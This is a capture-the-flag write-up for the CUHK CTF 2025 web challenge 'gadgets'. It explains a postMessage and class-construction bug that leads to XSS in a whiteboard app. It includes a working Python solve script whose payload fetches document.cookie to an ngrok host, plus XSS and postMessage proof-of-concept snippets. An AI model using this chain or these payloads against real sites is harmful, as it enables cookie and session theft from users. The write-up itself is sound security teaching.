siunam's Website

My personal website

Home Writeups Research Talks Blog Projects About

gadgets

Table of Contents

Overview

Background

Hi guys! I have been working on this Whiteboard thing where you can add lots of gadgets to it! However, I'm busy making challenges for this CTF already so this is still work in progress.

Can you help me make the UI and UX better? Don't hack me pleeaaseeeee thxxx!

chall-b.25.cuhkctf.org:25053

Enumeration

Explore Functionalities

Index page:

In here, we can create a new whiteboard and enter a URL for admin to visit!

Let's create a new whiteboard by clicking the "Create new board" button!

Burp Suite HTTP history:

When we clicked that button, it'll send a POST request to /board. It'll then respond us with a JSON body data.

Let's add some gadgets!

Burp Suite HTTP history:

When we add a new gadget, it'll send a PUT request to /board/<board_id> with a JSON body data. After that, the front-end renders the gadget.

Hmm… Seems like we can create a bunch of gadgets! Let's read the application's source code and see what we can do with them!

Source Code Review

In this challenge, we can download a file:

┌[siunam@~/ctf/CUHK-CTF-2025/Web-Exploitation/gadgets]-[2025/10/03|21:44:45(HKT)]
└> file 53_gadgets_f011e1e9f85f3cfb704072bc58cb1119.zip 
53_gadgets_f011e1e9f85f3cfb704072bc58cb1119.zip: Zip archive data, at least v1.0 to extract, compression method=store
┌[siunam@~/ctf/CUHK-CTF-2025/Web-Exploitation/gadgets]-[2025/10/03|21:44:47(HKT)]
└> unzip 53_gadgets_f011e1e9f85f3cfb704072bc58cb1119.zip 
Archive:  53_gadgets_f011e1e9f85f3cfb704072bc58cb1119.zip
   creating: public/
   creating: public/frontend/
  inflating: public/frontend/.prettierrc  
[...]
 extracting: public/backend/.gitignore  
 extracting: public/backend/entrypoint.sh  
  inflating: public/backend/.env     

In this web application, it has 3 services:

First off, where's the flag? What's our objective in this challenge?

In backend/.env, we can see that the flag is in the environment variable FLAG:

FLAG="cuhk25ctf{fake-flag}"

This environment variable is then used in function visit from backend/controller/visit.js. Lets walk through this function!

First, it'll launch a headless Chrome browser:

const { Builder, Browser, By } = require("selenium-webdriver");
const { Options } = require("selenium-webdriver/chrome");

exports.visit = async (req, res) => {
  [...]
  let options = new Options();
  options.addArguments([
    "--headless=new",
    "--no-sandbox",
    "--disable-dev-shm-usage",
  ]);
  let driver = await new Builder()
    .forBrowser(Browser.CHROME)
    .setChromeOptions(options)
    .build();
  [...]
};

Then, the browser will go to environment variable FLAG_DOMAIN (http://gadgets-frontend:3000) and set a new cookie named flag with the value of FLAG environment variable:

exports.visit = async (req, res) => {
  [...]
  await driver.get(process.env.FLAG_DOMAIN);
  await driver.manage().addCookie({
    name: "flag",
    value: process.env.FLAG,
    sameSite: "Strict",
  });
  [...]
};

Notice that the flag cookie doesn't have HttpOnly flag, which means if we can achieve client-side vulnerabilities such as XSS, we can use JavaScript API document.cookie to get the flag.

Finally, the browser will go to the POST request parameter dest's URL for 10 seconds:

exports.visit = async (req, res) => {
  [...]
  const dest = req.body.dest;
  [...]
  try {
    await driver.get(dest);
    res.status(200).json({
      message: "admin is visiting your web page, please wait a moment",
    });
    await driver.sleep(10 * 1000);
  } finally {
    await driver.quit();
  }
};

Therefore, to get the flag, we need to somehow find some client-side vulnerabilities, such as XSS, to read the browser's flag cookie on domain http://gadgets-frontend:3000, and then exfiltrate the cookie's value to our attacker server.

Hunting For Client-Side Vulnerabilities!

In service gadgets-frontend, frontend/app/whiteboard/Whiteboard.tsx, it has the following useEffect hook. If event.data.executeFunction is not falsy, it'll create a new function object using new Function:

export default function Whiteboard() {
  [...]
  useEffect(() => {
    utils.functions.handleMessages((event) => {
      if (event.origin !== window.origin) return;
      const { data } = event;
      [...]
      if (data.executeFunction) {
        try {
          new Function(data.functionString)(...data.arguments);
        } catch (error) {
          console.error(error);
        }
      }
    });
    [...]
  }, []);
  [...]
}

Hmm… If we can control event.data.functionString, we can execute arbitrary JavaScript code! For example:

new Function('console.log(origin)')('');

To do this dynamic function creation, we can dive deeper into function handleMessages from frontend/app/utils.ts:

function handleMessages(
  handler: Parameters<typeof window.addEventListener<"message">>[1],
) {
  window.addEventListener("message", handler);
}

In this function, it'll register a new event listener for event message, and the handler logic is handler parameter.

Event message is will usually be fired when the event listener received an incoming message, such as via the postMessage method.

With that said, there's a possibility that this application is vulnerable to postMessage related vulnerabilities!

postMessage 101

In modern days, if the application wants to send cross-site requests, the receiver is required to have CORS (Cross-Origin Resource Sharing) configured.

For example, if site http://example.com wants to send a cross-site request to site http://foo.com and read its' response, site http://foo.com must have response header Access-Control-Allow-Origin with the value of http://example.com. Otherwise, site http://example.com can't read site http://foo.com's response.

How about in JavaScript? Is cross-site JavaScript communication a thing?

Let's say site http://foo.com has a feature that allows site http://example.com to dynamically create <script> tag with arbitrary source:

http://foo.com/main.js:

const script = document.createElement('script');
script.src = siteExampleSource;
document.body.append(script);

To achieve this, site http://foo.com is required to register a message event on the window object like the following:

window.addEventListener('message', (event) => {
    const script = document.createElement('script');
    script.src = event.data.siteExampleSource;
    document.body.append(script);
});

For site http://example.com to send messages to site http://foo.com, http://example.com must first have a reference to site http://foo.com's window object. This is because the event is registered in the window object. Usually this can be done using window.open method to open a new window to site http://foo.com or embed site http://foo.com using <iframe> element.

Let's say site http://example.com opened a new window to site http://foo.com like this:

const siteFooWindow = window.open('http://foo.com');

The sender (http://example.com) can then using postMessage method to send messages to http://foo.com:

siteFooWindow.postMessage({ 'siteExampleSource': 'http://example.com/main.js' }, 'http://foo.com');

Notice the second parameter of postMessage, it's called targetOrigin, which specifies the origin of the recipient (http://foo.com) window. If it's string *, all origins can receive the sender's messages, which allows malicious sites to leak the sender's messages.

To prevent arbitrary origins can send messages to the recipient window, the recipient must verify the message event's origin. Example:

window.addEventListener('message', (event) => {
    // sender's origin must be 'http://example.com'
    if (event.origin !== 'http://example.com') return;

    const script = document.createElement('script');
    script.src = event.data.siteExampleSource;
    document.body.append(script);
});

postMessage Exploitation: Opaque Origin

In the application, the message event handler will verify the sender's origin:

export default function Whiteboard() {
  [...]
  useEffect(() => {
    utils.functions.handleMessages((event) => {
      if (event.origin !== window.origin) return;
      [...]
    });
    [...]
  }, []);
  [...]
}

In here, the sender's origin must be the current window's origin.

Luckily, this can be bypassed via an opaque origin (null origin): https://book.jorianwoltjer.com/web/client-side/cross-site-scripting-xss/postmessage-exploitation#bypassing-window.origin-using-null-origin.

If an <iframe> element has attribute sandbox, and the value doesn't have allow-same-origin, the <iframe>'s origin will be null. (https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-iframe-sandbox)

We can then use the <iframe>'s srcdoc attribute to open a new window to the target page. Since window.open will inherit the current window's origin, the newly opened window's origin will be null.

const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups allow-modals allow-top-navigation';

frame.srcdoc = `
<script>
const w = window.open('http://foo.com');

setTimeout(() => {
  w.postMessage({ 'siteExampleSource': 'http://example.com/main.js' }, '*');
}, 1000);
<\/script>
`;
document.body.appendChild(frame);

Sadly, it doesn't work on the challenge's application:

Access to script at 'http://localhost:25053/assets/Whiteboard-CrPhtv-N.js' from origin 'null' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

Note: The message event is registered in the /:id route:

frontend/app/routes.ts:

import { type RouteConfig, route } from "@react-router/dev/routes";
  
export default [
 route("/", "./Home.tsx"),
 route("/:id", "./whiteboard/Whiteboard.tsx"),
] satisfies RouteConfig;

In React.js, modules will be compiled at runtime, thus all JavaScript files will be in different places:

;
import * as route0 from "/assets/root-CFGmKD6S.js";
import * as route1 from "/assets/Whiteboard-CrPhtv-N.js";
  window.__reactRouterManifest = {
  [...]
  "routes": {
    [...]
    "whiteboard/Whiteboard": {
      [...]
      "module": "/assets/Whiteboard-CrPhtv-N.js",
      "imports": [
        "/assets/chunk-UH6JLGW7-BuU8Z2XH.js",
        "/assets/utils-BBUCqLXQ.js"
      ],
      [...]
    },
    [...]
  },
  [...]
};

At the browser level, since now the origin is null, we're effectively importing JavaScript files in cross-site:

As I mentioned before, to send cross-site requests, the response should have header Access-Control-Allow-Origin to allow different sites to read the response.

Therefore, this opaque origin bypass doesn't seem to work.

Another possible method to solve this issue is via client-side DNS rebinding. You might hear of DNS rebinding when you're trying to do SSRF and bypass the hostname blacklist. This technique can also be applied at the browser-level! After binding attacker.com to resolve to IP address 127.0.0.1, we can open a new window to http://attacker.com:25053. Since both of them are same site (http://attacker.com and http://attacker.com:25053), all other JavaScript files should be able to be imported.

Sadly, the headless browser will set the flag cookie on site http://gadgets-frontend:3000. If we do DNS rebinding, the site will be our attacker's site (E.g.: http://attacker.com). Therefore, we can't access cookies that are in site http://gadgets-frontend:3000. You can test this using the Singularity of Origin auto attack page.

Even if we can solve this "cross-site" problem (null origin vs http://gadgets-frontend:3000), how can we even access cookies? It shouldn't work because of the SOP (Same-Origin Policy). Origin null just can't access stuff in origin http://gadgets-frontend:3000. The only way to solve this issue is to chain this postMessage with a CSRF or a self-XSS gadget, sort of like a "second-order XSS".

postMessage Exploitation: postMessage Gadget

Another way to exploit it is to find a function that will call postMessage method, and is able to control the message.

Luckily, the application has such function in frontend/app/utils.ts:

function sendToParent(payload: any) {
  if (window.top === window) return;
  window.parent.postMessage(payload);
}

This sendToParent will send messages to the parent window if the current window is NOT the top window.

This function is used in frontend/app/whiteboard/Whiteboard.tsx twice:

export default function Whiteboard() {
  [...]
  useEffect(() => {
    [...]
    if (document.readyState === "complete")
      utils.functions.sendToParent({ pageLoaded: true });
    else
      window.addEventListener("load", () =>
        utils.functions.sendToParent({ pageLoaded: true }),
      );
    [...]
  }, []);
  [...]
}

Sadly, we can't control the message when the DOM is loaded.

At the very beginning when we're poking around at the application, we can see the following JSON body data when we create a new gadget:

{
    "content": {
        "e7c97b33-114c-4650-bb76-8e43c5db6e3c": {
            "id": "e7c97b33-114c-4650-bb76-8e43c5db6e3c",
            "type": "gadget.paragraph",
            "content": "New Gadget",
            "left": 693,
            "top": 631
        }
    }
}

Huh, what's that type key?

When we send a PUT to service gadgets-backend (Port 25054), it'll insert a new record into the database. Here's the schema of table Board:

model Board {
  id      String @id @default(uuid()) @db.Uuid
  content Json   @default("{}")
}

As we can see, column content is a JSON object.

Well. How does the front-end render the board's gadgets?

When we go to /:id, the useEffect hook will fetch all gadgets based on the board ID by sending a GET request to http://localhost:25054/board/<board_id>:

export default function Whiteboard() {
  [...]
  useEffect(() => {
    [...]
    utils.objects.APIInstance.get(`/board/${id}`)
      .then((res) => {
        setGadgets(res.data.board.content);
        setFetchError(null);
      })
      .catch((error: AxiosError) => {
        console.error(error);
        setFetchError(error);
      })
      .finally(() => setFetching(false));
  }, []);
  [...]
}

After fetching, it'll create different Gadget object instance by calling function constructGadget and render them:

export default function Whiteboard() {
  [...]
  return (
    [...]
      {fetching ? (
        [...]
      ) : !fetchError ? (
        Object.values(gadgets).map((data) => {
          const gadget = constructGadget(data.type, data);
          return (
            <Draggable
              {...{ gadget, mouseDownHandler, setCurrentGadget, childLoaded }}
              key={data.id}
            />
          );
        })
      ) : (
        [...]
      )}
    [...]
  );
  [...]
}

Inside function constructGadget, it'll dynamically create different classes of object based on the exported classes in frontend/app/utils.ts:

import * as utils from "~/utils";
[...]
function constructGadget(typeString: GadgetType, data: any): Gadget {
  let gadgetClass: any = utils;
  for (let str of typeString.split(".")) gadgetClass = gadgetClass[str];
  return new gadgetClass(data);
}

Wait, it doesn't validate what classes we can initialize!

Let's see all the exported variables in frontend/app/utils.ts:

export const gadget = {
  paragraph: TextGadget,
  text_input: InputGadget,
  button: ButtonGadget,
  image: ImageGadget,
  board: BoardGadget,
};

export const functions = {
  sendToChild,
  sendToParent,
  handleMessages,
};

export const objects = { APIInstance };

Oh! It exported object functions with 3 defined functions. Most importantly, function sendToParent is in there!

But wait, can we do something like this?

new sendToParent(data);

Let's test this theory!

function foo(bar) { console.log(bar); }
new foo('bar');

It works!

Therefore, we can call function sendToParent by setting key type's value to be functions.sendToParent! Since we can control the gadget's data, we should be able to execute arbitrary JavaScript through the message event handler:

PUT /board/3d75f548-b331-46ea-8687-e1a36b846d40 HTTP/1.1
Host: localhost:25054
Content-Type: application/json
Content-Length: 131

{"content":{"anything":{"type":"functions.sendToParent","executeFunction":true,"functionString":"alert(origin)","arguments":[""]}}}

Now, the message event handler's origin check will pass, because the event origin is the current window origin.

Well, not quite yet. We still have to overcome this check:

function sendToParent(payload: any) {
  if (window.top === window) return;
  [...]
}

To make the current window is NOT the same as the top one, we can try to find a way to embed the window that calls function sendToParent.

Luckily, there's a gadget call board:

frontend/app/utils.ts:

import {
  BoardGadget,
  ButtonGadget,
  ImageGadget,
  InputGadget,
  TextGadget,
} from "./classes/Gadgets";
[...]
export const gadget = {
  paragraph: TextGadget,
  text_input: InputGadget,
  button: ButtonGadget,
  image: ImageGadget,
  board: BoardGadget,
};

frontend/app/classes/Gadgets.ts:

export class BoardGadget extends Gadget {
  public boardId!: string;

  constructor(data: any) {
    super();
    Object.assign(this, data);
  }
}

In frontend/app/whiteboard/components/Draggable.tsx, this BoardGadget will then get rendered in an <iframe>:

export default function Draggable({
  [...]
}: {
  [...]
}) {
  const iframeRef = useRef<HTMLIFrameElement>(null);
  [...]
  return (
    [...]
      {gadget instanceof BoardGadget && (
        <iframe
          ref={iframeRef}
          src={new URL(gadget.boardId, import.meta.env.VITE_ROOT_URL).href}
          width={500}
          height={500}
        />
      )}
    [...]
  );
}

Therefore, to exploit this postMessage, we need to:

POST /board HTTP/1.1
Host: localhost:25054


Board 1 ID: dce78f03-820c-418f-891f-a49da7e3efe6.

PUT /board/dce78f03-820c-418f-891f-a49da7e3efe6 HTTP/1.1
Host: localhost:25054
Content-Type: application/json
Content-Length: 131

{"content":{"anything":{"type":"functions.sendToParent","executeFunction":true,"functionString":"alert(origin)","arguments":[""]}}}
POST /board HTTP/1.1
Host: localhost:25054


Board 2 ID: 0aba5d06-4e98-496c-8ca6-0d6b06240961.

PUT /board/0aba5d06-4e98-496c-8ca6-0d6b06240961 HTTP/1.1
Host: localhost:25054
Content-Type: application/json
Content-Length: 97

{"content":{"anything":{"type":"gadget.board","boardId":"dce78f03-820c-418f-891f-a49da7e3efe6"}}}

Finally, go to board 2:

Nice! We can now execute arbitrary JavaScript code!

Exploitation

Armed with above information, we can now exfiltrate the headless browser's flag cookie to our attacker server!

To automate the above steps, I've written the following Python solve script:

solve.py
import requests

class Solver:
    def __init__(self, baseDomain, flagDomain=''):
        self.baseDomain = baseDomain
        self.flagDomain = flagDomain
        self.FRONT_END_INTERNAL_PORT_NUMBER = '3000'
        self.FRONT_END_PORT_NUMBER = '25053'
        self.BACK_END_PORT_NUMBER = '25054'
        self.FRONT_END_URL = f'{self.baseDomain}:{self.FRONT_END_PORT_NUMBER}'
        self.BACK_END_URL = f'{self.baseDomain}:{self.BACK_END_PORT_NUMBER}'
        self.BOARD_ENDPOINT = '/board'
        self.REPORT_ENDPOINT = '/visit'

    def createNewBoard(self):
        return requests.post(f'{self.BACK_END_URL}{self.BOARD_ENDPOINT}').json()['board']['id']

    def createNewGadget(self, boardId, data):
        content = { 'content': { 'anything': data } }
        requests.put(f'{self.BACK_END_URL}{self.BOARD_ENDPOINT}/{boardId}', json=content)

    def report(self, boardId):
        flagDomain = f'{self.FRONT_END_URL}' if self.flagDomain == '' else f'{self.flagDomain}:{self.FRONT_END_INTERNAL_PORT_NUMBER}'
        url = f'{flagDomain}/{boardId}'
        data = { 'dest': url }
        print(f'[*] Reporting URL: {url}')

        response = requests.post(f'{self.BACK_END_URL}{self.REPORT_ENDPOINT}', json=data, proxies={'http':'http://localhost:8080'})
        rateLimitTimeoutSecond = response.headers.get('Retry-After')
        if not rateLimitTimeoutSecond:
            print('[+] Reported board 2 to the bot')
            return
        
        print(f'[-] Unable to report board 2 to the bot because we\'re rate limited. Please retry after {rateLimitTimeoutSecond} second(s)')

    def solve(self, javaScriptPayload):
        board1Id = self.createNewBoard()
        board2Id = self.createNewBoard()
        print(f'[+] Created 2 boards. Board 1 ID: {board1Id} | Board 2 ID: {board2Id}')

        postMessageData = {
            'type': 'functions.sendToParent',
            'executeFunction': True,
            'arguments': [ '' ],
            'functionString': javaScriptPayload,
        }
        self.createNewGadget(board1Id, postMessageData)
        print(f'[+] Created new gadget for board 1. Data: {postMessageData}')

        iframeData = {
            'type': 'gadget.board',
            'boardId': board1Id
        }
        self.createNewGadget(board2Id, iframeData)
        print(f'[+] Created new gadget for board 2. Data: {iframeData}')

        self.report(board2Id)

if __name__ == '__main__':
    # baseDomain = 'http://localhost' # for local testing
    # flagDomain = 'http://gadgets-frontend:3000' # for local testing
    baseDomain = 'http://chall-b.25.cuhkctf.org'

    attackerDomain = '0.tcp.ap.ngrok.io:11851'
    javaScriptPayload = f'''
fetch(`//{attackerDomain}/?${{document.cookie}}`)
'''.strip()
    solver = Solver(baseDomain)
    solver.solve(javaScriptPayload)
┌[siunam@~/ctf/CUHK-CTF-2025/Web-Exploitation/gadgets]-[2025/10/04|19:18:35(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

┌[siunam@~/ctf/CUHK-CTF-2025/Web-Exploitation/gadgets]-[2025/10/04|19:18:37(HKT)]
└> ngrok tcp 8000            
[...]
Forwarding                    tcp://0.tcp.ap.ngrok.io:11851 -> localhost:8000                             
[...]
┌[siunam@~/ctf/CUHK-CTF-2025/Web-Exploitation/gadgets]-[2025/10/04|19:18:31(HKT)]
└> python3 solve.py
[+] Created 2 boards. Board 1 ID: 9768a1ae-3b52-4578-a703-2ee01260a1f0 | Board 2 ID: f4f52818-d924-4920-b051-96105030a491
[+] Created new gadget for board 1. Data: {'type': 'functions.sendToParent', 'executeFunction': True, 'arguments': [''], 'functionString': 'fetch(`//0.tcp.ap.ngrok.io:11851/?${document.cookie}`)'}
[+] Created new gadget for board 2. Data: {'type': 'gadget.board', 'boardId': '9768a1ae-3b52-4578-a703-2ee01260a1f0'}
[*] Reporting URL: http://chall-b.25.cuhkctf.org:25053/f4f52818-d924-4920-b051-96105030a491
[+] Reported board 2 to the bot
┌[siunam@~/ctf/CUHK-CTF-2025/Web-Exploitation/gadgets]-[2025/10/04|19:34:45(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [04/Oct/2025 19:35:17] "GET /?flag=cuhk25ctf{cR3d17_t0_g00613_F0r_7hi5_iD34_7o_c0n5truc7_a_fUnCt10N} HTTP/1.1" 200 -

Note 1: The remote instance's FLAG_DOMAIN environment variable's value is misconfigured to http://chall-b.25.cuhkctf.org:25053. Make sure your reporting domain is http://chall-b.25.cuhkctf.org:25053, NOT http://gadgets-frontend:3000. Note 2: For some reason, the solve script doesn't work locally but work on the remote.

Potential Unintended Solution

Since the remote instance's FLAG_DOMAIN environment variable is misconfigured, it is possible to get the flag cookie via an unintended way:

Because the flag cookie is set on http://chall-b.25.cuhkctf.org:25053, if we're able to find an XSS vulnerability in same site, we can exfiltrate the flag cookie to our attacker server.

For instance, in web challenge "Jain Streak Dreamers", it is possible to gain self-XSS by uploading a file that contains an XSS payload in the filename:

POST /api/uploads HTTP/1.1
Host: chall.25.cuhkctf.org:25027
Content-Type: multipart/form-data; boundary=----geckoformboundary8dd4d25622ce03dd2571fa9a5c4117b4
Content-Length: 468
Cookie: dream.session=0DuyxM5yCcpRWtnYbMKNkCFWg

------geckoformboundary8dd4d25622ce03dd2571fa9a5c4117b4
Content-Disposition: form-data; name="files"; filename="<img src onerror=alert(origin)>.txt"
Content-Type: text/plain

anything
------geckoformboundary8dd4d25622ce03dd2571fa9a5c4117b4
Content-Disposition: form-data; name="dream.csrf"

AEo-W9ZWrnd11d2vIAhhaIOopmCI9zLcNhT6hEnCsOHK_hXKzzUNYgRaFP1BCseXaJuzf5l-ey1e4XtdutDvvWTCgJZhYORR4r97kEq3xMR7
------geckoformboundary8dd4d25622ce03dd2571fa9a5c4117b4--

We can leverage this self-XSS to get the flag cookie by:

  1. The headless browser go to our attacker web server
  2. In our web server, perform a CSRF attack on challenge "Jain Streak Dreamers":
    1. Login to our attacker account
  3. Open a new window to trigger our self-XSS payload
    1. Read the flag cookie and exfiltrate it to our attacker server

Sadly, step 3.1 won't work, as challenge "Jain Streak Dreamers" domain is different from the "gadgets" challenge:

Although both of them are same site, the default value of attribute domain when setting a cookie is the current domain:

document.cookie = 'flag=test';

So, we must gain XSS on domain chall-b.25.cuhkctf.org in order to get the flag cookie.

Conclusion

What we've learned:

  1. postMessage exploitation